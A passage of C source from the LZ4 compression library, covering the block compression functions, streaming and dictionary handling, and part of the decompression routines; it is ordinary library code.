*inputConsumed = (int) (((const char*)ip)-source);
}
result = (int)(((char*)op) - dest);
assert(result > 0);
DEBUGLOG(5, "LZ4_compress_generic: compressed %i bytes into %i bytes", inputSize, result);
return result;
}
/** LZ4_compress_generic() :
* inlined, to ensure branches are decided at compilation time;
* takes care of src == (NULL, 0)
* and forward the rest to LZ4_compress_generic_validated */
LZ4_FORCE_INLINE int
LZ4_compress_generic(
LZ4_stream_t_internal* const cctx,
const char* const src,
char* const dst,
const int srcSize,
int *inputConsumed, /* only written when outputDirective == fillOutput */
const int dstCapacity,
const limitedOutput_directive outputDirective,
const tableType_t tableType,
const dict_directive dictDirective,
const dictIssue_directive dictIssue,
const int acceleration)
{
DEBUGLOG(5, "LZ4_compress_generic: srcSize=%i, dstCapacity=%i",
srcSize, dstCapacity);
if ((U32)srcSize > (U32)LZ4_MAX_INPUT_SIZE) { return 0; } /* Unsupported srcSize, too large (or negative) */
if (srcSize == 0) { /* src == NULL supported if srcSize == 0 */
if (outputDirective != notLimited && dstCapacity <= 0) return 0; /* no output, can't write anything */
DEBUGLOG(5, "Generating an empty block");
assert(outputDirective == notLimited || dstCapacity >= 1);
assert(dst != NULL);
dst[0] = 0;
if (outputDirective == fillOutput) {
assert (inputConsumed != NULL);
*inputConsumed = 0;
}
return 1;
}
assert(src != NULL);
return LZ4_compress_generic_validated(cctx, src, dst, srcSize,
inputConsumed, /* only written into if outputDirective == fillOutput */
dstCapacity, outputDirective,
tableType, dictDirective, dictIssue, acceleration);
}
int LZ4_compress_fast_extState(void* state, const char* source, char* dest, int inputSize, int maxOutputSize, int acceleration)
{
LZ4_stream_t_internal* const ctx = & LZ4_initStream(state, sizeof(LZ4_stream_t)) -> internal_donotuse;
assert(ctx != NULL);
if (acceleration < 1) acceleration = LZ4_ACCELERATION_DEFAULT;
if (acceleration > LZ4_ACCELERATION_MAX) acceleration = LZ4_ACCELERATION_MAX;
if (maxOutputSize >= LZ4_compressBound(inputSize)) {
if (inputSize < LZ4_64Klimit) {
return LZ4_compress_generic(ctx, source, dest, inputSize, NULL, 0, notLimited, byU16, noDict, noDictIssue, acceleration);
} else {
const tableType_t tableType = ((sizeof(void*)==4) && ((uptrval)source > LZ4_DISTANCE_MAX)) ? byPtr : byU32;
return LZ4_compress_generic(ctx, source, dest, inputSize, NULL, 0, notLimited, tableType, noDict, noDictIssue, acceleration);
}
} else {
if (inputSize < LZ4_64Klimit) {
return LZ4_compress_generic(ctx, source, dest, inputSize, NULL, maxOutputSize, limitedOutput, byU16, noDict, noDictIssue, acceleration);
} else {
const tableType_t tableType = ((sizeof(void*)==4) && ((uptrval)source > LZ4_DISTANCE_MAX)) ? byPtr : byU32;
return LZ4_compress_generic(ctx, source, dest, inputSize, NULL, maxOutputSize, limitedOutput, tableType, noDict, noDictIssue, acceleration);
}
}
}
/**
* LZ4_compress_fast_extState_fastReset() :
* A variant of LZ4_compress_fast_extState().
*
* Using this variant avoids an expensive initialization step. It is only safe
* to call if the state buffer is known to be correctly initialized already
* (see comment in lz4.h on LZ4_resetStream_fast() for a definition of
* "correctly initialized").
*/
int LZ4_compress_fast_extState_fastReset(void* state, const char* src, char* dst, int srcSize, int dstCapacity, int acceleration)
{
LZ4_stream_t_internal* const ctx = &((LZ4_stream_t*)state)->internal_donotuse;
if (acceleration < 1) acceleration = LZ4_ACCELERATION_DEFAULT;
if (acceleration > LZ4_ACCELERATION_MAX) acceleration = LZ4_ACCELERATION_MAX;
assert(ctx != NULL);
if (dstCapacity >= LZ4_compressBound(srcSize)) {
if (srcSize < LZ4_64Klimit) {
const tableType_t tableType = byU16;
LZ4_prepareTable(ctx, srcSize, tableType);
if (ctx->currentOffset) {
return LZ4_compress_generic(ctx, src, dst, srcSize, NULL, 0, notLimited, tableType, noDict, dictSmall, acceleration);
} else {
return LZ4_compress_generic(ctx, src, dst, srcSize, NULL, 0, notLimited, tableType, noDict, noDictIssue, acceleration);
}
} else {
const tableType_t tableType = ((sizeof(void*)==4) && ((uptrval)src > LZ4_DISTANCE_MAX)) ? byPtr : byU32;
LZ4_prepareTable(ctx, srcSize, tableType);
return LZ4_compress_generic(ctx, src, dst, srcSize, NULL, 0, notLimited, tableType, noDict, noDictIssue, acceleration);
}
} else {
if (srcSize < LZ4_64Klimit) {
const tableType_t tableType = byU16;
LZ4_prepareTable(ctx, srcSize, tableType);
if (ctx->currentOffset) {
return LZ4_compress_generic(ctx, src, dst, srcSize, NULL, dstCapacity, limitedOutput, tableType, noDict, dictSmall, acceleration);
} else {
return LZ4_compress_generic(ctx, src, dst, srcSize, NULL, dstCapacity, limitedOutput, tableType, noDict, noDictIssue, acceleration);
}
} else {
const tableType_t tableType = ((sizeof(void*)==4) && ((uptrval)src > LZ4_DISTANCE_MAX)) ? byPtr : byU32;
LZ4_prepareTable(ctx, srcSize, tableType);
return LZ4_compress_generic(ctx, src, dst, srcSize, NULL, dstCapacity, limitedOutput, tableType, noDict, noDictIssue, acceleration);
}
}
}
int LZ4_compress_fast(const char* src, char* dest, int srcSize, int dstCapacity, int acceleration)
{
int result;
#if (LZ4_HEAPMODE)
LZ4_stream_t* const ctxPtr = (LZ4_stream_t*)ALLOC(sizeof(LZ4_stream_t)); /* malloc-calloc always properly aligned */
if (ctxPtr == NULL) return 0;
#else
LZ4_stream_t ctx;
LZ4_stream_t* const ctxPtr = &ctx;
#endif
result = LZ4_compress_fast_extState(ctxPtr, src, dest, srcSize, dstCapacity, acceleration);
#if (LZ4_HEAPMODE)
FREEMEM(ctxPtr);
#endif
return result;
}
int LZ4_compress_default(const char* src, char* dst, int srcSize, int dstCapacity)
{
return LZ4_compress_fast(src, dst, srcSize, dstCapacity, 1);
}
/* Note!: This function leaves the stream in an unclean/broken state!
* It is not safe to subsequently use the same state with a _fastReset() or
* _continue() call without resetting it. */
static int LZ4_compress_destSize_extState (LZ4_stream_t* state, const char* src, char* dst, int* srcSizePtr, int targetDstSize)
{
void* const s = LZ4_initStream(state, sizeof (*state));
assert(s != NULL); (void)s;
if (targetDstSize >= LZ4_compressBound(*srcSizePtr)) { /* compression success is guaranteed */
return LZ4_compress_fast_extState(state, src, dst, *srcSizePtr, targetDstSize, 1);
} else {
if (*srcSizePtr < LZ4_64Klimit) {
return LZ4_compress_generic(&state->internal_donotuse, src, dst, *srcSizePtr, srcSizePtr, targetDstSize, fillOutput, byU16, noDict, noDictIssue, 1);
} else {
tableType_t const addrMode = ((sizeof(void*)==4) && ((uptrval)src > LZ4_DISTANCE_MAX)) ? byPtr : byU32;
return LZ4_compress_generic(&state->internal_donotuse, src, dst, *srcSizePtr, srcSizePtr, targetDstSize, fillOutput, addrMode, noDict, noDictIssue, 1);
} }
}
int LZ4_compress_destSize(const char* src, char* dst, int* srcSizePtr, int targetDstSize)
{
#if (LZ4_HEAPMODE)
LZ4_stream_t* const ctx = (LZ4_stream_t*)ALLOC(sizeof(LZ4_stream_t)); /* malloc-calloc always properly aligned */
if (ctx == NULL) return 0;
#else
LZ4_stream_t ctxBody;
LZ4_stream_t* const ctx = &ctxBody;
#endif
int result = LZ4_compress_destSize_extState(ctx, src, dst, srcSizePtr, targetDstSize);
#if (LZ4_HEAPMODE)
FREEMEM(ctx);
#endif
return result;
}
/*-******************************
* Streaming functions
********************************/
#if !defined(LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION)
LZ4_stream_t* LZ4_createStream(void)
{
LZ4_stream_t* const lz4s = (LZ4_stream_t*)ALLOC(sizeof(LZ4_stream_t));
LZ4_STATIC_ASSERT(sizeof(LZ4_stream_t) >= sizeof(LZ4_stream_t_internal));
DEBUGLOG(4, "LZ4_createStream %p", lz4s);
if (lz4s == NULL) return NULL;
LZ4_initStream(lz4s, sizeof(*lz4s));
return lz4s;
}
#endif
static size_t LZ4_stream_t_alignment(void)
{
#if LZ4_ALIGN_TEST
typedef struct { char c; LZ4_stream_t t; } t_a;
return sizeof(t_a) - sizeof(LZ4_stream_t);
#else
return 1; /* effectively disabled */
#endif
}
LZ4_stream_t* LZ4_initStream (void* buffer, size_t size)
{
DEBUGLOG(5, "LZ4_initStream");
if (buffer == NULL) { return NULL; }
if (size < sizeof(LZ4_stream_t)) { return NULL; }
if (!LZ4_isAligned(buffer, LZ4_stream_t_alignment())) return NULL;
MEM_INIT(buffer, 0, sizeof(LZ4_stream_t_internal));
return (LZ4_stream_t*)buffer;
}
/* resetStream is now deprecated,
* prefer initStream() which is more general */
void LZ4_resetStream (LZ4_stream_t* LZ4_stream)
{
DEBUGLOG(5, "LZ4_resetStream (ctx:%p)", LZ4_stream);
MEM_INIT(LZ4_stream, 0, sizeof(LZ4_stream_t_internal));
}
void LZ4_resetStream_fast(LZ4_stream_t* ctx) {
LZ4_prepareTable(&(ctx->internal_donotuse), 0, byU32);
}
#if !defined(LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION)
int LZ4_freeStream (LZ4_stream_t* LZ4_stream)
{
if (!LZ4_stream) return 0; /* support free on NULL */
DEBUGLOG(5, "LZ4_freeStream %p", LZ4_stream);
FREEMEM(LZ4_stream);
return (0);
}
#endif
#define HASH_UNIT sizeof(reg_t)
int LZ4_loadDict (LZ4_stream_t* LZ4_dict, const char* dictionary, int dictSize)
{
LZ4_stream_t_internal* const dict = &LZ4_dict->internal_donotuse;
const tableType_t tableType = byU32;
const BYTE* p = (const BYTE*)dictionary;
const BYTE* const dictEnd = p + dictSize;
U32 idx32;
DEBUGLOG(4, "LZ4_loadDict (%i bytes from %p into %p)", dictSize, dictionary, LZ4_dict);
/* It's necessary to reset the context,
* and not just continue it with prepareTable()
* to avoid any risk of generating overflowing matchIndex
* when compressing using this dictionary */
LZ4_resetStream(LZ4_dict);
/* We always increment the offset by 64 KB, since, if the dict is longer,
* we truncate it to the last 64k, and if it's shorter, we still want to
* advance by a whole window length so we can provide the guarantee that
* there are only valid offsets in the window, which allows an optimization
* in LZ4_compress_fast_continue() where it uses noDictIssue even when the
* dictionary isn't a full 64k. */
dict->currentOffset += 64 KB;
if (dictSize < (int)HASH_UNIT) {
return 0;
}
if ((dictEnd - p) > 64 KB) p = dictEnd - 64 KB;
dict->dictionary = p;
dict->dictSize = (U32)(dictEnd - p);
dict->tableType = (U32)tableType;
idx32 = dict->currentOffset - dict->dictSize;
while (p <= dictEnd-HASH_UNIT) {
U32 const h = LZ4_hashPosition(p, tableType);
LZ4_putIndexOnHash(idx32, h, dict->hashTable, tableType);
p+=3; idx32+=3;
}
return (int)dict->dictSize;
}
void LZ4_attach_dictionary(LZ4_stream_t* workingStream, const LZ4_stream_t* dictionaryStream)
{
const LZ4_stream_t_internal* dictCtx = (dictionaryStream == NULL) ? NULL :
&(dictionaryStream->internal_donotuse);
DEBUGLOG(4, "LZ4_attach_dictionary (%p, %p, size %u)",
workingStream, dictionaryStream,
dictCtx != NULL ? dictCtx->dictSize : 0);
if (dictCtx != NULL) {
/* If the current offset is zero, we will never look in the
* external dictionary context, since there is no value a table
* entry can take that indicate a miss. In that case, we need
* to bump the offset to something non-zero.
*/
if (workingStream->internal_donotuse.currentOffset == 0) {
workingStream->internal_donotuse.currentOffset = 64 KB;
}
/* Don't actually attach an empty dictionary.
*/
if (dictCtx->dictSize == 0) {
dictCtx = NULL;
}
}
workingStream->internal_donotuse.dictCtx = dictCtx;
}
static void LZ4_renormDictT(LZ4_stream_t_internal* LZ4_dict, int nextSize)
{
assert(nextSize >= 0);
if (LZ4_dict->currentOffset + (unsigned)nextSize > 0x80000000) { /* potential ptrdiff_t overflow (32-bits mode) */
/* rescale hash table */
U32 const delta = LZ4_dict->currentOffset - 64 KB;
const BYTE* dictEnd = LZ4_dict->dictionary + LZ4_dict->dictSize;
int i;
DEBUGLOG(4, "LZ4_renormDictT");
for (i=0; i<LZ4_HASH_SIZE_U32; i++) {
if (LZ4_dict->hashTable[i] < delta) LZ4_dict->hashTable[i]=0;
else LZ4_dict->hashTable[i] -= delta;
}
LZ4_dict->currentOffset = 64 KB;
if (LZ4_dict->dictSize > 64 KB) LZ4_dict->dictSize = 64 KB;
LZ4_dict->dictionary = dictEnd - LZ4_dict->dictSize;
}
}
int LZ4_compress_fast_continue (LZ4_stream_t* LZ4_stream,
const char* source, char* dest,
int inputSize, int maxOutputSize,
int acceleration)
{
const tableType_t tableType = byU32;
LZ4_stream_t_internal* const streamPtr = &LZ4_stream->internal_donotuse;
const char* dictEnd = streamPtr->dictSize ? (const char*)streamPtr->dictionary + streamPtr->dictSize : NULL;
DEBUGLOG(5, "LZ4_compress_fast_continue (inputSize=%i, dictSize=%u)", inputSize, streamPtr->dictSize);
LZ4_renormDictT(streamPtr, inputSize); /* fix index overflow */
if (acceleration < 1) acceleration = LZ4_ACCELERATION_DEFAULT;
if (acceleration > LZ4_ACCELERATION_MAX) acceleration = LZ4_ACCELERATION_MAX;
/* invalidate tiny dictionaries */
if ( (streamPtr->dictSize < 4) /* tiny dictionary : not enough for a hash */
&& (dictEnd != source) /* prefix mode */
&& (inputSize > 0) /* tolerance : don't lose history, in case next invocation would use prefix mode */
&& (streamPtr->dictCtx == NULL) /* usingDictCtx */
) {
DEBUGLOG(5, "LZ4_compress_fast_continue: dictSize(%u) at addr:%p is too small", streamPtr->dictSize, streamPtr->dictionary);
/* remove dictionary existence from history, to employ faster prefix mode */
streamPtr->dictSize = 0;
streamPtr->dictionary = (const BYTE*)source;
dictEnd = source;
}
/* Check overlapping input/dictionary space */
{ const char* const sourceEnd = source + inputSize;
if ((sourceEnd > (const char*)streamPtr->dictionary) && (sourceEnd < dictEnd)) {
streamPtr->dictSize = (U32)(dictEnd - sourceEnd);
if (streamPtr->dictSize > 64 KB) streamPtr->dictSize = 64 KB;
if (streamPtr->dictSize < 4) streamPtr->dictSize = 0;
streamPtr->dictionary = (const BYTE*)dictEnd - streamPtr->dictSize;
}
}
/* prefix mode : source data follows dictionary */
if (dictEnd == source) {
if ((streamPtr->dictSize < 64 KB) && (streamPtr->dictSize < streamPtr->currentOffset))
return LZ4_compress_generic(streamPtr, source, dest, inputSize, NULL, maxOutputSize, limitedOutput, tableType, withPrefix64k, dictSmall, acceleration);
else
return LZ4_compress_generic(streamPtr, source, dest, inputSize, NULL, maxOutputSize, limitedOutput, tableType, withPrefix64k, noDictIssue, acceleration);
}
/* external dictionary mode */
{ int result;
if (streamPtr->dictCtx) {
/* We depend here on the fact that dictCtx'es (produced by
* LZ4_loadDict) guarantee that their tables contain no references
* to offsets between dictCtx->currentOffset - 64 KB and
* dictCtx->currentOffset - dictCtx->dictSize. This makes it safe
* to use noDictIssue even when the dict isn't a full 64 KB.
*/
if (inputSize > 4 KB) {
/* For compressing large blobs, it is faster to pay the setup
* cost to copy the dictionary's tables into the active context,
* so that the compression loop is only looking into one table.
*/
LZ4_memcpy(streamPtr, streamPtr->dictCtx, sizeof(*streamPtr));
result = LZ4_compress_generic(streamPtr, source, dest, inputSize, NULL, maxOutputSize, limitedOutput, tableType, usingExtDict, noDictIssue, acceleration);
} else {
result = LZ4_compress_generic(streamPtr, source, dest, inputSize, NULL, maxOutputSize, limitedOutput, tableType, usingDictCtx, noDictIssue, acceleration);
}
} else { /* small data <= 4 KB */
if ((streamPtr->dictSize < 64 KB) && (streamPtr->dictSize < streamPtr->currentOffset)) {
result = LZ4_compress_generic(streamPtr, source, dest, inputSize, NULL, maxOutputSize, limitedOutput, tableType, usingExtDict, dictSmall, acceleration);
} else {
result = LZ4_compress_generic(streamPtr, source, dest, inputSize, NULL, maxOutputSize, limitedOutput, tableType, usingExtDict, noDictIssue, acceleration);
}
}
streamPtr->dictionary = (const BYTE*)source;
streamPtr->dictSize = (U32)inputSize;
return result;
}
}
/* Hidden debug function, to force-test external dictionary mode */
int LZ4_compress_forceExtDict (LZ4_stream_t* LZ4_dict, const char* source, char* dest, int srcSize)
{
LZ4_stream_t_internal* const streamPtr = &LZ4_dict->internal_donotuse;
int result;
LZ4_renormDictT(streamPtr, srcSize);
if ((streamPtr->dictSize < 64 KB) && (streamPtr->dictSize < streamPtr->currentOffset)) {
result = LZ4_compress_generic(streamPtr, source, dest, srcSize, NULL, 0, notLimited, byU32, usingExtDict, dictSmall, 1);
} else {
result = LZ4_compress_generic(streamPtr, source, dest, srcSize, NULL, 0, notLimited, byU32, usingExtDict, noDictIssue, 1);
}
streamPtr->dictionary = (const BYTE*)source;
streamPtr->dictSize = (U32)srcSize;
return result;
}
/*! LZ4_saveDict() :
* If previously compressed data block is not guaranteed to remain available at its memory location,
* save it into a safer place (char* safeBuffer).
* Note : no need to call LZ4_loadDict() afterwards, dictionary is immediately usable,
* one can therefore call LZ4_compress_fast_continue() right after.
* @return : saved dictionary size in bytes (necessarily <= dictSize), or 0 if error.
*/
int LZ4_saveDict (LZ4_stream_t* LZ4_dict, char* safeBuffer, int dictSize)
{
LZ4_stream_t_internal* const dict = &LZ4_dict->internal_donotuse;
DEBUGLOG(5, "LZ4_saveDict : dictSize=%i, safeBuffer=%p", dictSize, safeBuffer);
if ((U32)dictSize > 64 KB) { dictSize = 64 KB; } /* useless to define a dictionary > 64 KB */
if ((U32)dictSize > dict->dictSize) { dictSize = (int)dict->dictSize; }
if (safeBuffer == NULL) assert(dictSize == 0);
if (dictSize > 0) {
const BYTE* const previousDictEnd = dict->dictionary + dict->dictSize;
assert(dict->dictionary);
LZ4_memmove(safeBuffer, previousDictEnd - dictSize, (size_t)dictSize);
}
dict->dictionary = (const BYTE*)safeBuffer;
dict->dictSize = (U32)dictSize;
return dictSize;
}
/*-*******************************
* Decompression functions
********************************/
typedef enum { decode_full_block = 0, partial_decode = 1 } earlyEnd_directive;
#undef MIN
#define MIN(a,b) ( (a) < (b) ? (a) : (b) )
/* variant for decompress_unsafe()
* does not know end of input
* presumes input is well formed
* note : will consume at least one byte */
static size_t read_long_length_no_check(const BYTE** pp)
{
size_t b, l = 0;
do { b = **pp; (*pp)++; l += b; } while (b==255);
DEBUGLOG(6, "read_long_length_no_check: +length=%zu using %zu input bytes", l, l/255 + 1)
return l;
}
/* core decoder variant for LZ4_decompress_fast*()
* for legacy support only : these entry points are deprecated.
* - Presumes input is correctly formed (no defense vs malformed inputs)
* - Does not know input size (presume input buffer is "large enough")
* - Decompress a full block (only)
* @return : nb of bytes read from input.
* Note : this variant is not optimized for speed, just for maintenance.
* the goal is to remove support of decompress_fast*() variants by v2.0
**/
LZ4_FORCE_INLINE int
LZ4_decompress_unsafe_generic(
const BYTE* const istart,
BYTE* const ostart,
int decompressedSize,
size_t prefixSize,
const BYTE* const dictStart, /* only if dict==usingExtDict */
const size_t dictSize /* note: =0 if dictStart==NULL */
)
{
const BYTE* ip = istart;
BYTE* op = (BYTE*)ostart;
BYTE* const oend = ostart + decompressedSize;
const BYTE* const prefixStart = ostart - prefixSize;
DEBUGLOG(5, "LZ4_decompress_unsafe_generic");
if (dictStart == NULL) assert(dictSize == 0);
while (1) {
/* start new sequence */
unsigned token = *ip++;
/* literals */
{ size_t ll = token >> ML_BITS;
if (ll==15) {
/* long literal length */
ll += read_long_length_no_check(&ip);
}
if ((size_t)(oend-op) < ll) return -1; /* output buffer overflow */
LZ4_memmove(op, ip, ll); /* support in-place decompression */
op += ll;
ip += ll;
if ((size_t)(oend-op) < MFLIMIT) {
if (op==oend) break; /* end of block */
DEBUGLOG(5, "invalid: literals end at distance %zi from end of block", oend-op);
/* incorrect end of block :
* last match must start at least MFLIMIT==12 bytes before end of output block */
return -1;
} }
/* match */
{ size_t ml = token & 15;
size_t const offset = LZ4_readLE16(ip);
ip+=2;
if (ml==15) {
/* long literal length */
ml += read_long_length_no_check(&ip);
}
ml += MINMATCH;
if ((size_t)(oend-op) < ml) return -1; /* output buffer overflow */
{ const BYTE* match = op - offset;
/* out of range */
if (offset > (size_t)(op - prefixStart) + dictSize) {
DEBUGLOG(6, "offset out of range");
return -1;
}
/* check special case : extDict */
if (offset > (size_t)(op - prefixStart)) {
/* extDict scenario */
const BYTE* const dictEnd = dictStart + dictSize;
const BYTE* extMatch = dictEnd - (offset - (size_t)(op-prefixStart));
size_t const extml = (size_t)(dictEnd - extMatch);
if (extml > ml) {
/* match entirely within extDict */
LZ4_memmove(op, extMatch, ml);
op += ml;
ml = 0;
} else {
/* match split between extDict & prefix */
LZ4_memmove(op, extMatch, extml);
op += extml;
ml -= extml;
}
match = prefixStart;
}
/* match copy - slow variant, supporting overlap copy */
{ size_t u;
for (u=0; u<ml; u++) {
op[u] = match[u];
} } }
op += ml;
if ((size_t)(oend-op) < LASTLITERALS) {
DEBUGLOG(5, "invalid: match ends at distance %zi from end of block", oend-op);
/* incorrect end of block :
* last match must stop at least LASTLITERALS==5 bytes before end of output block */
return -1;
}
} /* match */
} /* main loop */
return (int)(ip - istart);
}
/* Read the variable-length literal or match length.
*
* @ip : input pointer
* @ilimit : position after which if length is not decoded, the input is necessarily corrupted.
* @initial_check - check ip >= ipmax before start of loop. Returns initial_error if so.
* @error (output) - error code. Must be set to 0 before call.
**/
typedef size_t Rvl_t;
static const Rvl_t rvl_error = (Rvl_t)(-1);
LZ4_FORCE_INLINE Rvl_t
read_variable_length(const BYTE** ip, const BYTE* ilimit,
int initial_check)
{
Rvl_t s, length = 0;
assert(ip != NULL);
assert(*ip != NULL);
assert(ilimit != NULL);
if (initial_check && unlikely((*ip) >= ilimit)) { /* read limit reached */
return rvl_error;
}
do {
s = **ip;
(*ip)++;
length += s;
if (unlikely((*ip) > ilimit)) { /* read limit reached */
return rvl_error;
}
/* accumulator overflow detection (32-bit mode only) */
if ((sizeof(length)<8) && unlikely(length > ((Rvl_t)(-1)/2)) ) {
return rvl_error;
}
} while (s==255);
return length;
}
/*! LZ4_decompress_generic() :
* This generic decompression function covers all use cases.
* It shall be instantiated several times, using different sets of directives.
* Note that it is important for performance that this function really get inlined,
* in order to remove useless branches during compilation optimization.
*/
LZ4_FORCE_INLINE int
LZ4_decompress_generic(
const char* const src,
char* const dst,
int srcSize,
int outputSize, /* If endOnInput==endOnInputSize, this value is `dstCapacity` */
earlyEnd_directive partialDecoding, /* full, partial */
dict_directive dict, /* noDict, withPrefix64k, usingExtDict */
const BYTE* const lowPrefix, /* always <= dst, == dst when no prefix */
const BYTE* const dictStart, /* only if dict==usingExtDict */
const size_t dictSize /* note : = 0 if noDict */
)
{
if ((src == NULL) || (outputSize < 0)) { return -1; }
{ const BYTE* ip = (const BYTE*) src;
const BYTE* const iend = ip + srcSize;
BYTE* op = (BYTE*) dst;
BYTE* const oend = op + outputSize;
BYTE* cpy;
const BYTE* const dictEnd = (dictStart == NULL) ? NULL : dictStart + dictSize;
const int checkOffset = (dictSize < (int)(64 KB));
/* Set up the "end" pointers for the shortcut. */
const BYTE* const shortiend = iend - 14 /*maxLL*/ - 2 /*offset*/;
const BYTE* const shortoend = oend - 14 /*maxLL*/ - 18 /*maxML*/;
const BYTE* match;
size_t offset;
unsigned token;
size_t length;
DEBUGLOG(5, "LZ4_decompress_generic (srcSize:%i, dstSize:%i)", srcSize, outputSize);
/* Special cases */
assert(lowPrefix <= op);
if (unlikely(outputSize==0)) {
/* Empty output buffer */
if (partialDecoding) return 0;
return ((srcSize==1) && (*ip==0)) ? 0 : -1;
}
if (unlikely(srcSize==0)) { return -1; }
/* LZ4_FAST_DEC_LOOP:
* designed for modern OoO performance cpus,
* where copying reliably 32-bytes is preferable to an unpredictable branch.
* note : fast loop may show a regression for some client arm chips. */
#if LZ4_FAST_DEC_LOOP
if ((oend - op) < FASTLOOP_SAFE_DISTANCE) {
DEBUGLOG(6, "skip fast decode loop");
goto safe_decode;
}
/* Fast loop : decode sequences as long as output < oend-FASTLOOP_SAFE_DISTANCE */
DEBUGLOG(6, "using fast decode loop");
while (1) {
/* Main fastloop assertion: We can always wildcopy FASTLOOP_SAFE_DISTANCE */
assert(oend - op >= FASTLOOP_SAFE_DISTANCE);
assert(ip < iend);
token = *ip++;
length = token >> ML_BITS; /* literal length */
/* decode literal length */
if (length == RUN_MASK) {
size_t const addl = read_variable_length(&ip, iend-RUN_MASK, 1);
if (addl == rvl_error) {
DEBUGLOG(6, "error reading long literal length");
goto _output_error;
}
length += addl;
if (unlikely((uptrval)(op)+length<(uptrval)(op))) { goto _output_error; } /* overflow detection */
if (unlikely((uptrval)(ip)+length<(uptrval)(ip))) { goto _output_error; } /* overflow detection */
/* copy literals */
cpy = op+length;
LZ4_STATIC_ASSERT(MFLIMIT >= WILDCOPYLENGTH);
if ((cpy>oend-32) || (ip+length>iend-32)) { goto safe_literal_copy; }
LZ4_wildCopy32(op, ip, cpy);
ip += length; op = cpy;
} else {
cpy = op+length;
DEBUGLOG(7, "copy %u bytes in a 16-bytes stripe", (unsigned)length);
/* We don't need to check oend, since we check it once for each loop below */
if (ip > iend-(16 + 1/*max lit + offset + nextToken*/)) { goto safe_literal_copy; }
/* Literals can only be <= 14, but hope compilers optimize better when copy by a register size */
LZ4_memcpy(op, ip, 16);
ip += length; op = cpy;
}
/* get offset */
offset = LZ4_readLE16(ip); ip+=2;
DEBUGLOG(6, " offset = %zu", offset);
match = op - offset;
assert(match <= op); /* overflow check */
/* get matchlength */
length = token & ML_MASK;
if (length == ML_MASK) {
size_t const addl = read_variable_length(&ip, iend - LASTLITERALS + 1, 0);
if (addl == rvl_error) {
DEBUGLOG(6, "error reading long match length");
goto _output_error;
}
length += addl;
length += MINMATCH;
if (unlikely((uptrval)(op)+length<(uptrval)op)) { goto _output_error; } /* overflow detection */
if ((checkOffset) && (unlikely(match + dictSize < lowPrefix))) {
DEBUGLOG(6, "Error : offset outside buffers");
goto _output_error;
}
if (op + length >= oend - FASTLOOP_SAFE_DISTANCE) {
goto safe_match_copy;
}
} else {
length += MINMATCH;
if (op + length >= oend - FASTLOOP_SAFE_DISTANCE) {
goto safe_match_copy;
}
/* Fastpath check: skip LZ4_wildCopy32 when true */
if ((dict == withPrefix64k) || (match >= lowPrefix)) {
if (offset >= 8) {
assert(match >= lowPrefix);
assert(match <= op);
assert(op + 18 <= oend);
LZ4_memcpy(op, match, 8);
LZ4_memcpy(op+8, match+8, 8);
LZ4_memcpy(op+16, match+16, 2);
op += length;
continue;
} } }
if ( checkOffset && (unlikely(match + dictSize < lowPrefix)) ) {
DEBUGLOG(6, "Error : pos=%zi, offset=%zi => outside buffers", op-lowPrefix, op-match);
goto _output_error;
}
/* match starting within external dictionary */
if ((dict==usingExtDict) && (match < lowPrefix)) {
assert(dictEnd != NULL);
if (unlikely(op+length > oend-LASTLITERALS)) {
if (partialDecoding) {
DEBUGLOG(7, "partialDecoding: dictionary match, close to dstEnd");
length = MIN(length, (size_t)(oend-op));
} else {
DEBUGLOG(6, "end-of-block condition violated")
goto _output_error;
} }
if (length <= (size_t)(lowPrefix-match)) {
/* match fits entirely within external dictionary : just copy */
LZ4_memmove(op, dictEnd - (lowPrefix-match), length);
op += length;
} else {
/* match stretches into both external dictionary and current block */
size_t const copySize = (size_t)(lowPrefix - match);
size_t const restSize = length - copySize;
LZ4_memcpy(op, dictEnd - copySize, copySize);
op += copySize;
if (restSize > (size_t)(op - lowPrefix)) { /* overlap copy */
BYTE* const endOfMatch = op + restSize;
const BYTE* copyFrom = lowPrefix;
while (op < endOfMatch) { *op++ = *copyFrom++; }
} else {
LZ4_memcpy(op, lowPrefix, restSize);
op += restSize;
} }
continue;
}
/* copy match within block */
cpy = op + length;
assert((op <= oend) && (oend-op >= 32));
if (unlikely(offset<16)) {
LZ4_memcpy_using_offset(op, match, cpy, offset);
} else {
LZ4_wildCopy32(op, match, cpy);
}
op = cpy; /* wildcopy correction */
}
safe_decode:
#endif
/* Main Loop : decode remaining sequences where output < FASTLOOP_SAFE_DISTANCE */
DEBUGLOG(6, "using safe decode loop");
while (1) {
assert(ip < iend);
token = *ip++;
length = token >> ML_BITS; /* literal length */
/* A two-stage shortcut for the most common case:
* 1) If the literal length is 0..14, and there is enough space,
* enter the shortcut and copy 16 bytes on behalf of the literals
* (in the fast mode, only 8 bytes can be safely copied this way).
* 2) Further if the match length is 4..18, copy 18 bytes in a similar
* manner; but we ensure that there's enough space in the output for
* those 18 bytes earlier, upon entering the shortcut (in other words,
* there is a combined check for both stages).
*/
if ( (length != RUN_MASK)
/* strictly "less than" on input, to re-enter the loop with at least one byte */
&& likely((ip < shortiend) & (op <= shortoend)) ) {
/* Copy the literals */
LZ4_memcpy(op, ip, 16);
op += length; ip += length;
/* The second stage: prepare for match copying, decode full info.
* If it doesn't work out, the info won't be wasted. */
length = token & ML_MASK; /* match length */
offset = LZ4_readLE16(ip); ip += 2;
match = op - offset;
assert(match <= op); /* check overflow */
/* Do not deal with overlapping matches. */
if ( (length != ML_MASK)
&& (offset >= 8)
&& (dict==withPrefix64k || match >= lowPrefix) ) {
/* Copy the match. */
LZ4_memcpy(op + 0, match + 0, 8);
LZ4_memcpy(op + 8, match + 8, 8);
LZ4_memcpy(op +16, match +16, 2);
op += length + MINMATCH;
/* Both stages worked, load the next token. */
continue;
}
/* The second stage didn't work out, but the info is ready.
* Propel it right to the point of match copying. */
goto _copy_match;
}
/* decode literal length */
if (length == RUN_MASK) {
size_t const addl = read_variable_length(&ip, iend-RUN_MASK, 1);
if (addl == rvl_error) { goto _output_error; }
length += addl;
if (unlikely((uptrval)(op)+length<(uptrval)(op))) { goto _output_error; } /* overflow detection */
if (unlikely((uptrval)(ip)+length<(uptrval)(ip))) { goto _output_error; } /* overflow detection */
}
/* copy literals */
cpy = op+length;
#if LZ4_FAST_DEC_LOOP
safe_literal_copy:
#endif
LZ4_STATIC_ASSERT(MFLIMIT >= WILDCOPYLENGTH);
if ((cpy>oend-MFLIMIT) || (ip+length>iend-(2+1+LASTLITERALS))) {
/* We've either hit the input parsing restriction or the output parsing restriction.
